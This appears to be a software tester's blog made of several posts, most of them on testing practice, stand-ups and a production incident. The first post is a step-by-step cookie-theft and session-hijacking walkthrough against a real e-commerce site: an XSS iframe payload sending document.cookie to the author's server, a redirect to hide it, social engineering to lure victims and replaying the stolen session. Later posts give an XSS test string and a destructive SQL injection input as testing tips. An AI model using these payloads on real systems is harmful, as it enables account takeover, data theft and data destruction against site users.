Steal that cookie !

Well, my obsession with web security continues…

Most of the web sites rely on sessions stored in cookies to identify and authenticate users. And most of the sites are vulnerable to all sorts of injections.

Thats where all the fun is.

Here is a POC of cookie theft and session hijacking I tried on an e-commerce web site.

1. Find a way to inject some script or iFrame.

This particular site wasn't directly vulnerable to injections, but it would reflect the injected code back in the web page (Reflected XSS). When that page gets reloaded again, the injection will take place. I tried iFrame injection, it worked well.

Capture the URL that gets generated when payload (XSS string) is injected. This is what you'll pass along to the victims.

2. Steal that Cookie ! Pass along the cookie info to your web server.

There are multiple ways to do this. This is what I tried and it worked.

I stored a static page in my apache server. When I injected the iFrame, I would do some thing like this:

< iframe onload=document.location='http://my-web-server/mypage.html?p='+document.cookie / >

I have the apache logs which will log every request with the parameters. No need of making POST or GET calls though some sort of code ! (I loved that bit)


3. Redirect the victim user back to the site under attack test.

When loaded, it would redirect to the site under attack test, so that victim wouldn't be suspicious. As I mentioned simple document.location ='http://site-under-test' will do the trick.

4. Bit of social engineering, url shortening to get the victim click the link that has the XSS pay-load.

Twitter, Facebook, IMs are all out there to you help you :)

4. Hijack the session !

Extract the the SessionInfo from the logs. Replace the cookies with the victims cookies.
Hail the FSM and reload the site under attack test. Voila, you have logged in as the victim !


Few caveats :

Assumption is that victim is already logged in to the site under attack, and he/she clicks on a hyper link that injects the XSS.

This is a much better demonstration of XSS, cookie theft and session hijack than simple alert boxes.


PS: I am not responsible if you try this on public web sites and get arrested for cyber crime. In such cases, you do not know me, I do not know you :)

On being the only tester in TW teams

Well, I've been working as the only tester in the team for last 3 projects, almost 3 years.

Some learning / observation:

Initial impression of 'oh my goodness, there is so much to do!' is actually true. I had to get involved in quite a many things. And all those tasks are important in their own way. It is definitely not easy.

Key takeaway is reducing re-work and increasing efficiency.

Ask for help ! [increases efficiency]

Asking for help from other team members really helped. Be it automation of tests, bug triage, setting up environments or clearing of backlogs. Just had to make sure I don't delegate a task completely with out getting involved, in that case I'll be more of a pain than productive.

Be assertive: [increases efficiency]

Shout out when dev practices get sloppier or if there is constant increase in number of bugs. Helping the team figure out the root cause will make the next iteration much better.

Spend more time in developer box testing [reduces re-work]

This one practice can reduce so much of re-work ! Testing is nothing but giving feedback. Faster, the better. If possible, make 'Dev box testing' part of the story life-cycle. Thus, it will become a routine and leads to less re-work.

Get involved in analysis. [reduces re-work]

Again, helps in reducing re-work. Story kick-off are good too. More questions I asked at this stage, more easy it became while testing.

Less documentation: [increases efficiency]

There is a difference between less documentation and no documentation. Does this bug need to go to Mingle ? Does it make sense to list all the test cases for this log-in story ? What if I win a lottery and decide to leave? If I go on leave for another 2 months can some one else pick up from where I left and so on and so forth. It helps to ask the team (includes clients as well ) about what they expect /need from testing documentation POV.

Think beyond just story testing: [increases efficiency]

There are other areas of testing that I had to worry about: Performance, security, analysis, client interaction, environments … the list goes on. Interestingly this didn't become a pain. But it definitely is more time consuming and exhausting if I don't plan little ahead or ask for help.

Managing time: [increases efficiency]

This is tricky. Its easy to get overwhelmed by the pressure and just give up. There are few tasks which need much longer span of attention than others. Example: Test automation. I would declare "I am in 'Automation' mode" in stand up , and let every one know that I may not be able to help with other tasks. I usually keep these single task mode stretch for one or two days in an iteration.

Another way to manage time is to combine few tasks together. A rough example is : I'll keep my sql profiler running while I test a story for it's functionality. A quick scan through the DB logs helps to identify any quirky behavior. Like wise, I'll let perfmon run while I run my routine automated tests. The performance graph would later help to identify any leaks and such.


Finally, communicate. As often as possible. My habit is literally shouting at the table about the new info or an interesting bug. Identify risks / bad trends early and communicate. Easier said than done though.

Also a couple of hours of 'Do Not Disturb Me' mode of working helps, a lot. Communicate that too :-)

Script Injection, XSS and other kind of fun...

It truly surprises me that even after seeing loads of security holes in most of the famous web sites (I am looking at you, Twitter), how we neglect the importance of testing for these bugs.

It's simple folks. Very simple. It's no rocket science.

You got a text field in your web site? Simply try something like '< body onload="alert('hi')">' and submit.

Did you get a nice pop up ? You've got yourself a bug to fix.

Nothing frustrates me more than seeing a testing team spending loads of time writing test cases, documenting them and writing meaningless automated scripts, while they could spend few minutes of their time to find these kind of important bugs.

Look at the list of well known sites that have XSS holes : http://www.reddit.com/r/xss/top/?t=year

SQL Injection - Beginner's guide

So much has been told, discussed and written about SQL Injection. But still a variety of applications are vulnerable for such attack.

If you are a tester, and have no clue how to go about testing for SQL Injection vulnerability, here are few tips.

Do you have access to the application's code?

If yes, run a full project search for SQL key words like 'select' , 'insert', 'update' and 'Delete'

If search returns any positive results, study that part of the code.

Are those SQL queries a part of production code? or just a test code?

Are those SQL queries parameterized ?

Do those SQL queries take user input directly ? If yes, is user input sanitized ?

Can you trace back that query to a field in application ? Either in UI or in services ?

So, if you do find direct SQL queries which are part of production code, taking user input with out parameterizing and sanitizing, boy o boy, you are in for a treat!

Now, fire up your favorite SQL profiler. Observe the queries that get executed in DB.

For simplicity sake, lets say an input field like username is vulnerable for SQL Injection.

Assuming the application works fine for a normal input ie,

john

Try following input for the same field :

john'; DELETE from users;--

In Microsoft SQL server, single quotes are used to note the text input, Semi colon denotes end of a SQL query, two hyphens used for commenting.

So, in above input, we are tying to 'inject' a SQL query of our own.

This may or may not work. Data in users table may or may not get deleted.

There are quite a few reasons why it won't work:

Our input might go through field length validation and get truncated

users table might have foreign key constraints

Logged in user account for SQL DB may not have privileges to drop a table

So on ...

So, you would have to study the relevant SQL query that got run in DB, (DB profiler is your friend), use variations of above input to get it working. I'll leave that to your imagination. :-)

In case if you have no access to application code and DB, then blind SQL Injection is your friend. Conceptually, it's similar idea.

Before you try SQL Injection, few words of caution :

Make sure you are on a test system where you can afford to screw up your data.

Make sure you are not affecting your fellow testers' hard work.

Make sure you have a latest DB copy saved somewhere else.

Happy testing!

When Should I start testing a story?

'When do you think tester should stop testing a requirement?'

A favorite question in the job interviews for many of the folks. But I've hardly heard any one asking 'When do you think Tester should start testing a requirement?'

Well, isn't that a silly question, you may say. I don't think that way, I think it's very important to know when to pick up a story to test.

Do I wait till a story is 'Dev Complete' ?

Do I wait till the story has gone through 'BA verified ' ?

Or do I wait till last responsible minute ?

I'd say, pick up a build as soon as small part of the story functionality is checked in.

Why?

Simple answer: Early bird gets all the bugs, pardon the pun :-)

On a serious note, earlier I start testing a story, more comfortable I am signing off that story in the end. But it comes with it's own set of trouble.

An intermediate build in the story development means there are chances of broken functionalities, surprise pop-ups saying 'In (insert new functionality) here ...' and other symptoms of 'dev in progress' code.

But, it also helps me in understanding the implementation of the story, things I should watch out for when the story comes to 'In QA' and to improve the general feel about the application itself.

So, I'd rather put up with testing the 'Dev In Progress' story than the story appearing magically to 'QA Ready'.

Everybody loves early feedback, just be careful not to be a pain in the neck for rest of the team.

:-)

Stand Up Updates ...

A typical stand up update from a tester usually goes like this:

"Yesterday, I was testing story xyz, blah blah ... I found X number of bugs ... This part of the application appears to have problems, blah blah ... Later in the day, new build had some issues ... Test Environment seems to have so and so problems ... yadda, yadda ..."

Right?

Well, my stand up updates used to be in the same line as well. Also, if you happen to be the only tester, then it gets worse.

While chatting with a colleague of mine in ThoughtWorks, I realized that all I speak in stand up is about problems! Over a period of time, I'll sound like a moron who just ruins everyone's day, especially since we start our day with stand up.

So, along with the problems and issues, now I've started talking about stories which went through testing with no or minor bugs and appreciate the same. Also how I tried my best to break the system, but with no luck, or how I failed to inject scripts or SQL after trying very hard. Also, instead of individual bugs, I've started talking about patterns, themes in the bugs found.

Well, just my 2 cents to keep the world a better place.

:-)

Oh That Innocent Looking Page !

So, you are building a web application that talks to bunch of other applications, shared databases and other web services which aren't in your control. Sounds like a typical project, isn't it ? :-)

Well, I was the (only) tester in such a project sometime back. Maintaining a working test environment was a pain. Broken connectivity between dependent applications, databases was a recurring problem. To make my life as well as environment team's life easy, developers came up with this idea.

A simple html page that shows the connection status of different web services, databases in test environment.

When it was introduced in mid release cycle, I was happy :-) Now I don't have to worry much when the transactions aren't going through. Just check the status page, if any connectivity is broken, shout across to Environment team, get the things fixed. Life is simple and worry free !

We decided to introduce the same status page to Production System as well, with limited access, only to environment team. After all, it made all of our lives easy.

So, moving on to 'Go Live' Day. We run the deploy scripts, I run the sanity tests, things were looking good.

In a matter of an hour or so, environment team got in touch with us, apparently production systems were receiving a huge volume of data. At first shot, it looked like our application is the originator of the traffic.

So, we had to take our application down (luckily it was on a weekend, not much work going on) while we debug the issue.

The way status page was supposed to work was to send a 'Are you up?' question to different systems and was expecting a 'Yes' or 'No' answer. But one of the shared library we used had a bug. Instead of sending a response, it sent back a request, for which our application promptly sent a response. This got into an infinite loop, hence the surge in the traffic. Well, the problem was quickly solved and we went home anyway, albeit little late.

Apparently same thing was happening in Test environment, but me being the only user, there wasn't much havoc. It went unnoticed.

This incident got me in to thinking.

You see, I, as a tester, am worried about the stories, functionality and bunch of other things like performance and security. I wouldn't doubt much about these small tools we use that make our work easy. Big mistake.

As a 'only' tester in my team, it's my responsibility to check every new thing that's being introduced in to the application. I should be on the top of the things, questioning and doubting every little piece of software that gets developed.

So, a lesson learnt: Never ever look at a piece of software and think it's harmless. Not even a simple innocent looking html page.

TL;DR : I goofed up in testing, learnt a lesson.

:-)